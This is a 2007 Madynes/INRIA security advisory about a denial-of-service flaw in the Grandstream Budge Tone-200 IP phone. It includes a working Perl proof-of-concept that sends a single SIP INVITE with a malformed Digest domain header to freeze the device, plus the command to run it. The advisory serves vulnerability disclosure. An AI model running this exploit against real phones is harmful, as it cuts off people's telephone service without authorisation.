grandstream-dos.txt
Posted on 22 March 2007
MADYNES Security Advisory <http://madynes.loria.fr/> http://madynes.loria.fr Title: Grandstream Budge Tone-200 denial of service vulnerability Release Date: 21/03/2007 Severity: High - Denial of Service Advisory ID:KIPH3 Hardware: Grandstream Budge Tone-200 IP Phone http://www.grandstream.com/consumerphones.html Affected Versions: Program-- 1.1.1.14 Bootloader-- 1.1.1.5 Other versions maybe. Vulnerability Synopsis: After sending a crafted INVITE/CANCE or any message with a "WWW-Authenticate" where the "Digest domain" is crafted the device freezes provoking a DoS. Impact: A remote individual can remotely crash and perform a Denial of Service(DoS) attack in all the services provided by the software by sending one crafted SIP INVITE message. This is conceptually similar to the "ping of death". Resolution: The vendor was contacted at multiple times, the complete report was sent, but no feedback whatsoever resulted. Vulnerability Description: the device reboots after a crafted INVITE message had been sent. Configuration of our device: Software Version: Program-- 1.1.1.14 Bootloader-- 1.1.1.5 IP-Address obtained by DHCP as 192.168.1.105 The configuration is the default Vulnerability: After sending a crafted INVITE, CANCEL or any message with a "WWW-Authenticate" where the "Digest domain" is crafted the device freezes provoking a DoS. Exploit: To run the exploit the file invite_grandstream.pl should be launched (assuming our configurations) as: perl invite_grandstream.pl 192.168.1.105 5060 Fosforito Proof of Concept Code: #!/usr/bin/perl use IO::Socket::INET; die "Usage $0 <dst> <port> <username>" unless ($ARGV[2]); $socket=new IO::Socket::INET->new(PeerPort=>$ARGV[1], Proto=>'udp', PeerAddr=>$ARGV[0]); $AUTH = "WWW-Authenticate: Digest domain="/-+:@=$\%D6$;$=;=$=$,@$.=;@;;,&&+:::=@/2$&;6+;+=\%A5==;\n@:=;$&\%A3:u,@=@;&;@+::+&;+,,&/&@=,;=&:&,=&:;:;;K+&@=\%DA*$;@&+&:;/= =\%37:\%A6;,@\%ED,:=:@,;\%DA;&$)$+=;+:\%FE$:@;&=,W;,g\%EF;\%FB:+@O$+ \%AF+;+:,&=\%CA\%EA;$,@+/;@,-;:;,P&@;_$:\%C7&+&/!,\%EE$:,@:;;@&@,+, z@$;@@$$::@/=,$3\%ED=@+\%AE/=&@;;$;&$\%FE:@;$+:$\%EB$=&:;&K& ;:@\%EA,=\%BA6\%21;=&:$" "; $msg = "INVITE sip:$ARGV[2]@$ARGV[0] SIP/2.0 Via: SIP/2.0/UDP 192.168.1.2;branch=z9hG4bK056a27e7;rport From: <sip:tucu@192.168.1.2>;tag=as011d1185 To: <sip:$ARGV[2]@$ARGV[0]>;$TOTAG $AUTHCSeq: 6106 INVITE Max-Forwards: 70 Content-Length: 0 "; $socket->send($msg); Credits: Humberto J. Abdelnur (Ph.D Student) Radu State (Ph.D) Olivier Festor (Ph.D) This vulnerability was identified by the Madynes research team at INRIA Lorraine, using the Madynes VoIP fuzzer. <http://madynes.loria.fr/> http://madynes.loria.fr/ Disclosure Distribution: The advisory will be posted on the following websites: <http://madynes.loria.fr/> http://madynes.loria.fr website The advisory will be posted to the following mailing lists: 1) full-disclosure@lists.grok.org.uk 2) voipsec@vopisa.org Information about us: Madynes is a research team at INRIA Lorraine working on VoIP Security assessment, intrusion detection and prevention.
